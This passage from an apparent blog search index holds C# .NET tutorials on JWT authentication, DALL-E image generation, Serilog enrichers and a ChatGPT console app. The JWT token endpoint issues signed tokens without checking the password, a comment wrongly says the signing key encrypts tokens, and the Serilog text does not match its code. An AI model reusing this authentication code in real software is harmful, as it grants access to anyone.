internet. One way to ensure that only authorized users access restricted information is through authentication.\nOAuth 2 and JWT Tokens (JSON Web Token) are the most common ways to ensure modern Web Applications and Mobile Applications authentication.\n\ud83d\udce2 Table of Contents #In this issue, we&rsquo;re going to cover the following topics:\nWhat are Access Token, JWT Token, and Bearer Authorization Set Up Authentication and Authorization (skip to this section if you want just the code) Generate the JWT Token \/ Access Token Testing the Endpoints Conclusion \ud83e\uddfe What are Access Token, JWT Token, and Bearer Authorization? #Access tokens, JWT tokens, and Bearer Authorization are commonly used in web applications to authenticate users and provide access to protected resources.\nAn Access Token is a ticket to authenticate a user and access a protected resource.\nJWT Token, on the other hand, is a specific type of Access Token encoded as a JSON object, hence JSON Web Token.\nIt consists of a header, a payload, and a signature, and it is commonly used in modern web applications.\nSample JWT Token\n&gt; This is a Raw JWT Token\nToken Header + Payload + Signature\n&gt; This is the Decoded JWT Token\nIn addition, the JWT token can contain various claims, such as the user&rsquo;s id, expiration date, and application permissions.\nBearer Authorization is a mechanism for transmitting Access Tokens in HTTP requests. It involves including the Access Token in the Authorization header of the HTTP request using the Bearer Authentication Scheme.\nThe Bearer Scheme indicates that the token being transmitted is an Access Token, allowing the server to authenticate the user and grant access to protected resources.\nFor example:\nRequest Access Token + Accessing Protected Resource\nThe Resource Owner sends a request to \/tokens\/connect\/ with his username and password The server validates the request and generates a valid Access Token in the format of a JWT Token, and returns it to the client The client includes the token in the Authorization header (with the Bearer scheme) in the subsequent requests to the server The server verifies the token before granting access to protected resources Set Up Authentication and Authorization #From this point, we are going to implement the JWT Authentication using C# .NET Web API.\n\ud83d\udca1\nHere is the full source code: https:\/\/github.com\/ricardodemauro\/Labs.JwtAuthentication\nStep 1: Create the Project #For our project, we will use C# .NET 7 and start from the Empty Web Project, which is enough for our POC (proof of concept).\nLet&rsquo;s name our project Labs.JwtAuthentication.\nVisual Studio Asp.Net Core Empty Template\nAfter completion of creation, our project should look like this:\nThe solution in Visual Studio\nStep 2: Installing the dependency packages #Our next step is to install the necessary NuGet packages:\ndotnet add Microsoft.AspNetCore.Authentication.JwtBearer dotnet add System.IdentityModel.Tokens.Jwt Nuget Packages to Install\n\ud83d\udca1\nIf you choose to use .NET 6 or a different version.\nYou should use the package version according to the framework restriction.\nAfter the installation of all of the packages, we should end with something like this:\nInstalled Packages\nStep 3: Adding Variables to the Configuration File #In this next step, let&rsquo;s create the configurations for the Audience, Issuer, and Signing Key in our appsettings.json.\nWe will use them to generate the JWT Token (Access Token) and to validate it in the Authentication process.\n{ \/\/\ud83d\udc47 JWT Configurations &#34;JwtOptions&#34;: { &#34;Issuer&#34;: &#34;https:\/\/localhost:7004&#34;, &#34;Audience&#34;: &#34;https:\/\/localhost:7004&#34;, \/\/\ud83d\udc47 Used to encrypt and decrypt the jwt token &#34;SigningKey&#34;: &#34;some-signing-key-here&#34;, \/\/ token expiration time &#34;ExpirationSeconds&#34;: 3600 } } appsettings.json with JwtOptions\nNext, let&rsquo;s create a record class to hold this configuration and use it in the application:\nnamespace Labs.JwtAuthentication; public record class JwtOptions( string Issuer, string Audience, string SigningKey, int ExpirationSeconds ); More on C# Records #https:\/\/learn.microsoft.com\/en-us\/dotnet\/csharp\/language-reference\/builtin-types\/record\nFinally, we will read the configuration and map it to JwtOptions as a Singleton lifetime. Of course, you can also use the Options pattern if you prefer.\nvar builder = WebApplication.CreateBuilder(args); var jwtOptions = builder.Configuration .GetSection(&#34;JwtOptions&#34;) .Get&lt;JwtOptions&gt;(); builder.Services.AddSingleton(jwtOptions); Adding JwtOptions object to Services\nThis allows us access to the JwtOptions object at any time in the application.\nStep 4: Configure the Authentication and Authorization Services #In action, we will configure the Authentication and Authorization services to validate the JWT token when it exists in the HTTP Authorization header.\n\/\/ \ud83d\udc47 Configuring the Authentication Service builder.Services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme) .AddJwtBearer(opts =&gt; { \/\/convert the string signing key to byte array byte[] signingKeyBytes = Encoding.UTF8 .GetBytes(jwtOptions.SigningKey); opts.TokenValidationParameters = new TokenValidationParameters { ValidateIssuer = true, ValidateAudience = true, ValidateLifetime = true, ValidateIssuerSigningKey = true, ValidIssuer = jwtOptions.Issuer, ValidAudience = jwtOptions.Audience, IssuerSigningKey = new SymmetricSecurityKey(signingKeyBytes) }; }); \/\/ \ud83d\udc47 Configuring the Authorization Service builder.Services.AddAuthorization(); In the code snippet above, we have configured the Authentication service to:\nAdds the Bearer Scheme as the default scheme for authentication ValidateIssuer: validate who token generated the token (the Issuer) ValidateAudience: validate for whom it was generated (the audience) ValidateToken: check if it is not expired ValidateIssuerSigningKey: validate the token signature This is the most common and minimal validation setup we should use when working with JWT Tokens.\nLast, we have added the Authorization service with the default configuration.\nStep 5: Set Up Authentication and Authorization Middleware #In this final step, we will include the Authentication and Authorization middlewares in the pipeline to validate the requests with the JWT Token.\nMore on Minimal APIs #https:\/\/rmauro.dev\/create-a-minimal-api-with-dotnet-6\/\nAnd finally, let&rsquo;s indicate which route should be authorized (non-public) and allow anonymous (public) requests.\nvar app = builder.Build(); \/\/ \ud83d\udc47 This add the Authentication Middleware app.UseAuthentication(); \/\/ \ud83d\udc47 This add the Authorization Middleware app.UseAuthorization(); \/\/ \ud83d\udc47 The routes \/ and \/public allow anonymous requests app.MapGet(&#34;\/&#34;, () =&gt; &#34;Hello World!&#34;); app.MapGet(&#34;\/public&#34;, () =&gt; &#34;Public Hello World!&#34;) .AllowAnonymous(); \/\/ \ud83d\udc47 The routes \/private require authorized request app.MapGet(&#34;\/private&#34;, () =&gt; &#34;Private Hello World!&#34;) .RequireAuthorization(); \/\/ \ud83d\udc47 handles the request token endpoint app.MapPost(&#34;\/tokens\/connect&#34;, (HttpContext ctx, JwtOptions jwtOptions) =&gt; TokenEndpoint.Connect(ctx, jwtOptions)); app.Run(); Until here, we have completed the setup of the Authentication and Authorization process.\nOur application can authenticate and authorize our requests with an Access Token.\nGenerate the JWT Token \/ Access Token #From this step forward, we will implement the endpoint to create the JWT Tokens (Access Tokens).\nThe endpoint skeleton should have this format:\nPOST \/connect\/token HTTP\/1.1 Content-Type: application\/x-www-form-urlencoded grant_type=password&amp;username=johndoe&amp;password=A3ddj3wr HTTP Request\nAnd the response should be:\nHTTP\/1.1 200 OK Content-Type: application\/json;charset=UTF-8 { &#34;access_token&#34;: &#34;some-access-token-here&#34;, &#34;token_type&#34;: &#34;bearer&#34;, &#34;expires_in&#34;: 3600 } HTTP Response\nImplementing a Route to Create the JWT Token #Let&rsquo;s create a static class TokenEndpoint. This class will contain all the logic to handle the \/connect\/token request and generate the tokens.\nnamespace Labs.JwtAuthentication.Endpoints; public static class TokenEndpoint { \/\/handles requests from \/connect\/token public static async Task&lt;IResult&gt; Connect( HttpContext ctx, JwtOptions jwtOptions) { throw new NotImplementedException(); } \/\/ static (string, DateTime) CreateAccessToken( JwtOptions jwtOptions, string username, string[] permissions) { throw new NotImplementedException(); } } Barebones of the TokenEndpoint class\nLet&rsquo;s implement the method CreateAccessToken:\nstatic string CreateAccessToken( JwtOptions jwtOptions, string username, TimeSpan expiration, string[] permissions) { var keyBytes = Encoding.UTF8.GetBytes(jwtOptions.SigningKey); var symmetricKey = new SymmetricSecurityKey(keyBytes); var signingCredentials = new SigningCredentials( symmetricKey, \/\/ \ud83d\udc47 one of the most popular. SecurityAlgorithms.HmacSha256); var claims = new List&lt;Claim&gt;() { new Claim(&#34;sub&#34;, username), new Claim(&#34;name&#34;, username), new Claim(&#34;aud&#34;, jwtOptions.Audience) }; var roleClaims = permissions.Select(x =&gt; new Claim(&#34;role&#34;, x)); claims.AddRange(roleClaims); var token = new JwtSecurityToken( issuer: jwtOptions.Issuer, audience: jwtOptions.Audience, claims: claims, expires: DateTime.Now.Add(expiration), signingCredentials: signingCredentials); var rawToken = new JwtSecurityTokenHandler().WriteToken(token); return rawToken; } Create Access Token Method\nThe CreateAccessToken method will generate the token with claims:\nsub: Unique identifier for the end-user name: End-user full name aud: Audience(s) that this Token is intended for. role: User role(s) A JWT Token can handle various pre-defined and custom claims.\nNext, let&rsquo;s add the implementation of the method Connect:\npublic static async Task&lt;IResult&gt; Connect( HttpContext ctx, JwtOptions jwtOptions) { \/\/ validates the content type of the request if (ctx.Request.ContentType != &#34;application\/x-www-form-urlencoded&#34;) return Results.BadRequest(new { Error = &#34;Invalid Request&#34; }); var formCollection = await ctx.Request.ReadFormAsync(); \/\/ pulls information from the form if (formCollection.TryGetValue(&#34;grant_type&#34;, out var grantType) == false) return Results.BadRequest(new { Error = &#34;Invalid Request&#34; }); if (formCollection.TryGetValue(&#34;username&#34;, out var userName) == false) return Results.BadRequest(new { Error = &#34;Invalid Request&#34; }); if (formCollection.TryGetValue(&#34;password&#34;, out var password) == false) return Results.BadRequest(new { Error = &#34;Invalid Request&#34; }); \/\/creates the access token (jwt token) var tokenExpiration = TimeSpan.FromSeconds(jwtOptions.ExpirationSeconds); var accessToken = TokenEndpoint.CreateAccessToken( jwtOptions, userName, TimeSpan.FromMinutes(60), new[] { &#34;read_todo&#34;, &#34;create_todo&#34; }); \/\/returns a json response with the access token return Results.Ok(new { access_token = accessToken, expiration = (int)tokenExpiration.TotalSeconds, type = &#34;bearer&#34; }); } Implementation of Connect method\nThe Connect method reads the form and validates each property before generating the access token. Once everything is set, we call the method CreateAccessToken method.\nFinally, let&rsquo;s include Map the route \/tokens\/connect POST.\napp.MapPost(&#34;\/tokens\/connect&#34;, (HttpContext ctx, JwtOptions jwtOptions) =&gt; TokenEndpoint.Connect(ctx, jwtOptions)); With all of this, we have a complete application capable of generating and validating access tokens in the format of JWT Tokens.\nTesting the Endpoints #Create a valid HTTP Request using Visual Studio, Visual Studio, Postman, Insomnia, or any tool that you like.\n\ud83d\udca1\nYou can use the .http file with all API calls in the code sample.\nhttps:\/\/github.com\/ricardodemauro\/Labs.JwtAuthentication\/blob\/master\/http-test.http\nA Sample Request to Get a Valid Access Token: #POST https:\/\/localhost:7004\/tokens\/connect HTTP\/1.1 Content-Type: application\/x-www-form-urlencoded grant_type=password&amp;username=johndoe&amp;password=A3ddj3wr Result of Connect Endpoint:\nHTTP\/1.1 200 OK Connection: close Content-Type: application\/json; charset=utf-8 Date: Thu, 27 Apr 2023 17:35:45 GMT Server: Kestrel Transfer-Encoding: chunked { &#34;access_token&#34;: &#34;eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJz......&#34;, &#34;expiration&#34;: 3600, &#34;type&#34;: &#34;bearer&#34; } Making a Request Without Access Token to Private Route: #GET https:\/\/localhost:7004\/private HTTP 401 - Unauthorized Result of Private Route:\nHTTP\/1.1 401 Unauthorized Content-Length: 0 Connection: close Date: Thu, 27 Apr 2023 17:36:27 GMT Server: Kestrel WWW-Authenticate: Bearer Making a Request With Access Token to Private Route #GET https:\/\/localhost:7004\/private Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJz...... HTTP 200 - Ok Result of Authorized Route:\nHTTP\/1.1 200 OK Connection: close Content-Type: text\/plain; charset=utf-8 Date: Thu, 27 Apr 2023 17:37:10 GMT Server: Kestrel Transfer-Encoding: chunked Private Hello World! Conclusion #JWT authentication is a secure and effective way to authenticate users in web applications.\nC# .NET provides a simple and easy-to-implement way to use JWT Authentication and Authorization.\nFollowing the steps outlined in this article, you can implement JWT Authentication in your C# .NET 8 Web Applications and ensure that only authorized users can access protected resources.\n","date":"April 27, 2023","permalink":"https:\/\/rmauro.dev\/jwt-authentication-with-csharp-dotnet\/","section":"Posts","summary":"<p>In this article, we will work on implementing C# JWT Authentication using .NET 7 - which also works for .NET 6, and preview .NET 8 - using ASP.NET Core.<\/p>\n<p>Security is a significant concern today, with so much sensitive information, and not so much sensitive ones, being transmitted across the internet. One way to ensure that only authorized users access restricted information is through authentication.<\/p>\n<p>OAuth 2 and JWT Tokens (<strong>J<\/strong>SON <strong>W<\/strong>eb <strong>T<\/strong>oken) are the most common ways to ensure modern Web Applications and Mobile Applications authentication.<\/p>","title":"C# JWT Authentication .NET 6"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ai\/","section":"Tags","summary":"","title":"Ai"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/chatgpt\/","section":"Tags","summary":"","title":"ChatGPT"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/dall-e\/","section":"Tags","summary":"","title":"DALL-E"},{"content":"We will explore how to use the DALL-E Image Generator in conjunction with C# .NET.\nWith just a few steps, we&rsquo;ll develop a small POC (Proof of Concept) that uses the DALL-E model to generate images from text phrases using C#.\nWhat is DALL-E Art-Generator #DALL-E can generate images of almost anything, from a yellow submarine to a pig with wings. It has been trained on a massive dataset of images and textual descriptions, allowing it to learn how to generate images from natural language input.\nDALL\u00b7E 2 is an AI system that can create realistic images and art from a description in natural language.\nhttps:\/\/openai.com\/research\/dall-e\nDALL-E Generated\nGetting Started with C# and DALL-E #In this project, we will use Visual Studio and C# and .NET 6 to create the Console Application.\n\ud83d\udca1\nYou may also work with different framework versions.\nStep 1: Create the Console Application and Install the Dependencies #Let&rsquo;s create our Console Application with C# and .NET 6 and install the required dependencies.\nProject Name: ConsoleAppOpenAI.DALL_E\ndotnet add Microsoft.Extensions.Http \ud83d\udc47 these are for loading configuration from JSON files dotnet add Microsoft.Extensions.Configuration dotnet add Microsoft.Extensions.Configuration.Json \ud83d\udc47 this is optional dotnet add Microsoft.Extensions.Configuration.UserSecrets Command to add dependencies\nInstalled Dependencies\nStep 2: Create the IOpenAIProxy Interface #Within this interface, we&rsquo;ll expose only the methods to Generate and Download the images from Open AI.\nnamespace ConsoleAppOpenAI.DALL_E.HttpServices; public interface IOpenAIProxy { \/\/\ud83d\udc47 Send the Prompt Text with and return a list of image URLs Task&lt;GenerateImageResponse&gt; GenerateImages( GenerateImageRequest prompt, CancellationToken cancellation = default); \/\/\ud83d\udc47 Download the Image as byte array Task&lt;byte[]&gt; DownloadImage(string url); } The IOpenAIProxy Interface\nStep 3: Generate Image Models #Let&rsquo;s define our models using records. Records simplify the reading since they are only POCO classes.\nnamespace ConsoleAppOpenAI.DALL_E.HttpServices { public record class GenerateImageRequest( string Prompt, int N, string Size); public record class GenerateImageResponse( long Created, GeneratedImageData[] Data); public record class GeneratedImageData(string Url); } Record classes to Generate Image Models\nStep 4: Create an Open AI Account #We need to create an account on the Open AI platform to use the Open AI API.\nThe registration process is straightforward and can be completed in a few minutes.\nWe need to visit the Open AI website at https:\/\/platform.openai.com\/overview. Then click the &ldquo;Sign Up&rdquo; button in the top right corner. Click on the button to start the registration process. Step 5: Set up the Configuration File #To access the DALL-E model, we&rsquo;ll need to set up our application&rsquo;s Subscription Id and API key.\nCollect them from these menus:\nSettings Menu of Open AI Website\nThen update the appsettings.json with the values:\n{ &#34;OpenAi&#34;: { &#34;OrganizationId&#34;: &#34;{Subscription Id goes here}&#34;, &#34;ApiKey&#34;: &#34;{API Key goes here}&#34;, &#34;Url&#34;: &#34;https:\/\/api.openai.com&#34;, &#34;DALL-E&#34;: { &#34;Size&#34;: &#34;1024x1024&#34;, &#34;N&#34;: 1 } } } appsettings.json\n\ud83d\udca1\nRemember to set property Copy to Output Directory with Copy if newer for appsettings.json file.\nStep 6: Open AI HTTP Service Implementation #Create a class named OpenAIHttpService with a single constructor receiving the IConfiguration and read the configuration we just set in place.\nusing ConsoleAppOpenAI.DALL_E.HttpServices; using Microsoft.Extensions.Configuration; using System.Net.Http.Headers; using System.Net.Http.Json; using System.Text.Json; namespace ConsoleAppOpenAI.DALL_E.Services; public class OpenAIHttpService : IOpenAIProxy { readonly HttpClient _httpClient; readonly string _subscriptionId; readonly string _apiKey; public OpenAIHttpService(IConfiguration configuration) { \/\/\ud83d\udc47 reading settings from the configuration file var openApiUrl = configuration[&#34;OpenAi:Url&#34;] ?? throw new ArgumentException(nameof(configuration)); _httpClient = new HttpClient { BaseAddress = new Uri(openApiUrl) }; _subscriptionId = configuration[&#34;OpenAi:SubscriptionId&#34;]; _apiKey = configuration[&#34;OpenAi:ApiKey&#34;]; } public async Task&lt;GenerateImageResponse&gt; GenerateImages(GenerateImageRequest prompt, CancellationToken cancellation = default) { throw new NotImplementedException(); } public async Task&lt;byte[]&gt; DownloadImage(string url) { throw new NotImplementedException(); } } Barebones of OpenAIHttpService Class\nNext should be the implementation of the GenerateImages() method:\npublic async Task&lt;GenerateImageResponse&gt; GenerateImages(GenerateImageRequest prompt, CancellationToken cancellation = default) { using var rq = new HttpRequestMessage(HttpMethod.Post, &#34;\/v1\/images\/generations&#34;); var jsonRequest = JsonSerializer.Serialize(prompt, new JsonSerializerOptions { PropertyNamingPolicy = JsonNamingPolicy.CamelCase }); \/\/serialize the content to JSON and set the correct content type rq.Content = new StringContent(jsonRequest); rq.Content.Headers.ContentType = new MediaTypeHeaderValue(&#34;application\/json&#34;); \/\/\ud83d\udc47 Including the Authorization Header with API Key var apiKey = _apiKey; rq.Headers.Authorization = new AuthenticationHeaderValue(&#34;Bearer&#34;, apiKey); \/\/\ud83d\udc47 Including the Subscription Id Header var subscriptionId = _subscriptionId; rq.Headers.TryAddWithoutValidation(&#34;OpenAI-Organization&#34;, subscriptionId); var response = await _httpClient.SendAsync(rq, HttpCompletionOption.ResponseHeadersRead, cancellation); response.EnsureSuccessStatusCode(); var content = response.Content; var jsonResponse = await content.ReadFromJsonAsync&lt;GenerateImageResponse&gt;(cancellationToken: cancellation); return jsonResponse; } Generate Images Implementation\nThen the last step is the DownloadImage() method implementation:\npublic async Task&lt;byte[]&gt; DownloadImage(string url) { var buffer = await _httpClient.GetByteArrayAsync(url); return buffer; } DownloadImage method Implementation\nStep 7: Consuming the APIs #Back to the file Program.cs, let&rsquo;s wire everything together and start calling the APIs to generate images.\nusing ConsoleAppOpenAI.DALL_E.HttpServices; using ConsoleAppOpenAI.DALL_E.Services; using Microsoft.Extensions.Configuration; using System.Reflection; Console.WriteLine(&#34;Starting commandline for DALL-E [Open AI]&#34;); var config = BuildConfig(); IOpenAIProxy aiClient = new OpenAIHttpService(config); Console.WriteLine(&#34;Type your first Prompt&#34;); var msg = Console.ReadLine(); var nImages = int.Parse(config[&#34;OpenAi:DALL-E:N&#34;]); var imageSize = config[&#34;OpenAi:DALL-E:Size&#34;]; var prompt = new GenerateImageRequest(msg, nImages, imageSize); var result = await aiClient.GenerateImages(prompt); foreach (var item in result.Data) { Console.WriteLine(item.Url); var fullPath = Path.Combine(Directory.GetCurrentDirectory(), $&#34;{Guid.NewGuid()}.webp&#34;); var img = await aiClient.DownloadImage(item.Url); await File.WriteAllBytesAsync(fullPath, img); Console.WriteLine(&#34;New image saved at {0}&#34;, fullPath); } Console.WriteLine(&#34;Press any key to exit&#34;); Console.ReadKey(); static IConfiguration BuildConfig() { var dir = Directory.GetCurrentDirectory(); var configBuilder = new ConfigurationBuilder() .AddJsonFile(Path.Combine(dir, &#34;appsettings.json&#34;), optional: false) .AddUserSecrets(Assembly.GetExecutingAssembly()); return configBuilder.Build(); } With all this, we have a complete Application with the DALL-E Art-Generator.\nGenerate our very first Image #Run the Application and it try yourself.\nHere is my first run:\nPrompt: Wide and green garden with a lot of flowers, with sunflowers, and a small dog running around Take a look at this beautiful image:\nDALL-E Generated\nConclusion #Integrating C# with DALL-E is a straightforward process allowing us to programmatically generate images.\nUsing Open AI&rsquo;s API, we can easily send textual descriptions and receive high-quality images in response.\nThis integration opens up many possibilities, such as generating images for data visualization, creating custom artwork, or automating image creation tasks. As DALL-E continues to improve, we can expect even more exciting applications.\n\ud83d\udca1\nSource Code available at:\nhttps:\/\/github.com\/ricardodemauro\/OpenAILabs.Console\n","date":"April 15, 2023","permalink":"https:\/\/rmauro.dev\/generating-images-from-text-with-csharp-and-open-ai-dall-e\/","section":"Posts","summary":"<p>We will explore how to use the DALL-E Image Generator in conjunction with C# .NET.<\/p>\n<p>With just a few steps, we&rsquo;ll develop a small POC (Proof of Concept) that uses the <strong>DALL-E<\/strong> model to generate images from text phrases using C#.<\/p>\n<h2 id=\"what-is-dall-e-art-generator\" class=\"relative group\">What is DALL-E Art-Generator <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-is-dall-e-art-generator\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>DALL-E can generate images of almost anything, from a yellow submarine to a pig with wings. It has been trained on a massive dataset of images and textual descriptions, allowing it to learn how to generate images from natural language input.<\/p>","title":"DALL-E Art-Generator with C# .NET"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/openai\/","section":"Tags","summary":"","title":"OpenAI"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/stablediffusion\/","section":"Tags","summary":"","title":"StableDiffusion"},{"content":"Serilog is a popular logging library for .NET that provides a flexible and extensible way to log messages from applications.\nOne of the key features of Serilog is the ability to Enrich Log Events with additional contextual information that can help troubleshoot and debug.\nIn this blog post, we will explore how to create a Custom Enricher with Serilog to add custom properties to log events.\nDevelopment #To create a custom enricher with Serilog, we should define a class that implements the ILogEventEnricher interface.\npublic interface ILogEventEnricher { void Enrich(LogEvent logEvent, ILogEventPropertyFactory propertyFactory); } ILogEventEnricher.cs Interface\nLet&rsquo;s start by creating a new class called AspNetCoreEnvironmentEnricher that implements the ILogEventEnricher interface:\nusing Serilog.Core; using Serilog.Events; using System; namespace Serilog.Labs.CustomEnrichers.Enrichers { \/\/class must implement interface ILogEventEnricher public class AspNetCoreEnvironmentEnricher : ILogEventEnricher { static readonly string _aspNetEnvironment; \/\/\/ &lt;summary&gt; \/\/\/ static constructor to load the environment variable \/\/\/ &lt;\/summary&gt; static AspNetCoreEnvironmentEnricher() { _aspNetEnvironment = Environment.GetEnvironmentVariable(&#34;ASPNETCORE_ENVIRONMENT&#34;); } public void Enrich( LogEvent logEvent, ILogEventPropertyFactory propertyFactory) { var enrichProperty = propertyFactory .CreateProperty( &#34;AspNetCoreEnvironment&#34;, _aspNetEnvironment); logEvent.AddOrUpdateProperty(enrichProperty); } } } AspNetCoreEnvironmentEnricher.cs implementation\nThe Enrich method is called for each log event, and we can use it to add custom properties to the logEvent parameter. The propertyFactory parameter can be used to create new properties that we can add to the log event.\nUsing the Serilog Enricher #Now that we have our custom enricher class, let&rsquo;s use it with Serilog. We can add it to the logger configuration like this:\nLog.Logger = new LoggerConfiguration() .Enrich.With(new AspNetCoreEnvironmentEnricher()) .WriteTo.Console( outputTemplate: &#34;[{AspNetCoreEnvironment} {Level:u3}] {Message:lj}{NewLine}{Exception}&#34;) .CreateLogger(); Using the AspNetCoreEnvironmentEnricher\nIn this example, we added our custom enricher to the logger configuration using the Enrich.With method. We passed the current user&rsquo;s name &ldquo;Alice&rdquo; to the constructor of our enricher.\nNow, when we log a message, the UserName property will be added to the log event:\nLog.Information(&#34;Hello, world!&#34;); \/*Will Output [Information Development] Hello, world! *\/ \ud83d\ude0eConclusion #Creating a custom enricher with Serilog is a simple and powerful way to add contextual information to log events.\nBy implementing the ILogEventEnricher interface and using the propertyFactory parameter, we can add any custom properties we need to help in troubleshooting and debugging our applications.\n","date":"April 3, 2023","permalink":"https:\/\/rmauro.dev\/serilog-custom-enricher-on-aspnet-core\/","section":"Posts","summary":"<p><strong>Serilog<\/strong> is a popular logging library for <strong>.NET<\/strong> that provides a flexible and extensible way to log messages from applications.<\/p>\n<p>One of the key features of Serilog is the ability to <strong>Enrich Log Events<\/strong> with additional contextual information that can help troubleshoot and debug.<\/p>\n<p>In this blog post, we will explore how to create a Custom Enricher with Serilog to add custom properties to log events.<\/p>\n<h2 id=\"development\" class=\"relative group\">Development <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#development\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>To create a custom enricher with Serilog, we should define a class that implements the <code>ILogEventEnricher<\/code> interface.<\/p>","title":"Getting Started with Serilog Custom Enrichers"},{"content":"With the use of C#, we can develop a console application that uses the Chat GPT model to generate human-like responses to input.\nIn this blog post, we will explore the steps to develop a console application using OpenAI&rsquo;s Chat GPT model using C#.\nOpenAI is a leading organization in the field of artificial intelligence, and one of its popular AI models is the Chat GPT (Generative Pretrained Transformer).\n\ud83d\udcac What are OpenAI and Chat GPT? #OpenAI is a prominent organization that develops AI for various applications, including natural language processing. One of their popular AI models is the Chat GPT, a generative language model that uses a transformer architecture to process input text and generate human-like responses. It&rsquo;s commonly used for chatbots and other natural language processing tasks.\n\ud83e\uddf5 Development with source code #To develop a console application using OpenAI&rsquo;s Chat GPT model in C#, we will follow these steps:\nStep 1: Install Standard.AI.OpenAI C# library #To use the Chat GPT model in C#, we will need to install the Standard.AI.OpenAI C# library. We can install the library using the following command:\ndotnet add Standard.AI.OpenAI Step 2: Create an OpenAI account #To use the OpenAI API, we need to create an account on the OpenAI platform. The registration process is straightforward and can be completed in a few minutes.\nWe just need to visit the OpenAI website at https:\/\/platform.openai.com\/overview. Then click on the &ldquo;Sign Up&rdquo; button in the top right corner. Click on the button to start the registration process. Note that OpenAI&rsquo;s API is currently in beta, and access to the API may be limited. Additionally, OpenAI charges for API usage, so it&rsquo;s essential to keep track of usage and billing to avoid any unexpected charges.\nIf you are getting started they usually give starting amount of dollars as credits without the need of a credit card.\nStep 3: Create the class OpenAIProxy #Within this class, we&rsquo;ll encapsulate the logic to access OpenAI APIs.\nLet&rsquo;s define our interface first.\nusing Standard.AI.OpenAI.Models.Services.Foundations.ChatCompletions; namespace ConsoleAppOpenAI; public interface IOpenAIProxy { Task&lt;ChatCompletionMessage[]&gt; SendChatMessage(string message); } IOpenAIProxy.cs\nThat is right. We&rsquo;ll expose only the method responsible for sending and receiving messages.\nStep 4: Create the implementation class OpenAIProxy.cs #Let&rsquo;s jump to the implementation now.\nusing Standard.AI.OpenAI.Clients.OpenAIs; using Standard.AI.OpenAI.Models.Configurations; using Standard.AI.OpenAI.Models.Services.Foundations.ChatCompletions; namespace ConsoleAppOpenAI; public class OpenAIProxy : IOpenAIProxy { readonly OpenAIClient openAIClient; \/\/all messages in the conversation readonly List&lt;ChatCompletionMessage&gt; _messages; public OpenAIProxy(string apiKey, string organizationId) { \/\/initialize the configuration with api key and sub var openAIConfigurations = new OpenAIConfigurations { ApiKey = apiKey, OrganizationId = organizationId }; openAIClient = new OpenAIClient(openAIConfigurations); _messages = new(); } void StackMessages(params ChatCompletionMessage[] message) { _messages.AddRange(message); } static ChatCompletionMessage[] ToCompletionMessage( ChatCompletionChoice[] choices) =&gt; choices.Select(x =&gt; x.Message).ToArray(); \/\/Public method to Send messages to OpenAI public Task&lt;ChatCompletionMessage[]&gt; SendChatMessage(string message) { var chatMsg = new ChatCompletionMessage() { Content = message, Role = &#34;user&#34; }; return SendChatMessage(chatMsg); } \/\/Where business happens async Task&lt;ChatCompletionMessage[]&gt; SendChatMessage( ChatCompletionMessage message) { \/\/we should send all the messages \/\/so we can give Open AI context of conversation StackMessages(message); var chatCompletion = new ChatCompletion { Request = new ChatCompletionRequest { Model = &#34;gpt-3.5-turbo&#34;, Messages = _messages.ToArray(), Temperature = 0.2, MaxTokens = 800 } }; var result = await openAIClient .ChatCompletions .SendChatCompletionAsync(chatCompletion); var choices = result.Response.Choices; var messages = ToCompletionMessage(choices); \/\/stack the response as well - everything is context to Open AI StackMessages(messages); return messages; } } OpenAIProxy.cs\nStep 5: Set up the API key #To access the Chat GPT model, we&rsquo;ll need to set up the API key in our application. We can set up the API key using the following code:\nBack to Program.cs now.\nIOpenAIProxy chatOpenAI = new OpenAIProxy( apiKey: &#34;YOUR-API-KEY&#34;, organizationId: &#34;YOUR-ORGANIZATION-ID&#34;); This code sets up the API key that we&rsquo;ll use to access the Chat GPT model.\nWhere to get API Key and Organization ID\nStep 6: Use the Chat GPT model in our application #Once we&rsquo;ve set up the API key, we can use the Chat GPT model in our application using the following code:\nvar msg = Console.ReadLine(); do { var results = await chatOpenAI.SendChatMessage(msg); foreach (var item in results) { Console.WriteLine($&#34;{item.Role}: {item.Content}&#34;); } Console.WriteLine(&#34;Next Prompt:&#34;); msg = Console.ReadLine(); } while (msg != &#34;bye&#34;); This code creates an infinite loop that prompts the user for input and generates a response using the Chat GPT model. If the user inputs &ldquo;bye,&rdquo; the loop will break, and the application will exit.\n\ud83c\udfa8 Final Touches #After we get everything working we can make it a little more professional using the following packages:\nSpectre.Console ==&gt; for better Console Output Display Humanizer.Core ==&gt; give us better formatting Microsoft.Extensions.Configuration.Json - Read the configuration from Json files You can check it out on the source code below the implementation.\nGitHub - ricardodemauro\/OpenAILabs.Console: Console Application with Open AI as backendConsole Application with Open AI as backend. Contribute to ricardodemauro\/OpenAILabs.Console development by creating an account on GitHub. GitHubricardodemauro Source code on Github\nHere is the final look.\nRunning Application\n\ud83d\ude0e Conclusion #In this blog post, we explored how to develop a console application using OpenAI&rsquo;s Chat GPT model in C#.\nWe installed the Standard.AI.OpenAI C# library, set up the API key, and used the Chat GPT model to generate human-like responses to input. The Chat GPT model is powerful.\nBy the way. This blog post was created with the help of Chat GPT.\nDon&rsquo;t forget to Like, Comment, and most important--&gt; Share It.\n","date":"April 2, 2023","permalink":"https:\/\/rmauro.dev\/getting-started-with-chat-gpt-integration-with-csharp-console-application\/","section":"Posts","summary":"<p>With the use of <strong>C#<\/strong>, we can develop a console application that uses the <strong>Chat GPT<\/strong> model to generate human-like responses to input.<\/p>\n<p>In this blog post, we will explore the steps to develop a console application using <strong>OpenAI&rsquo;s Chat GPT<\/strong> 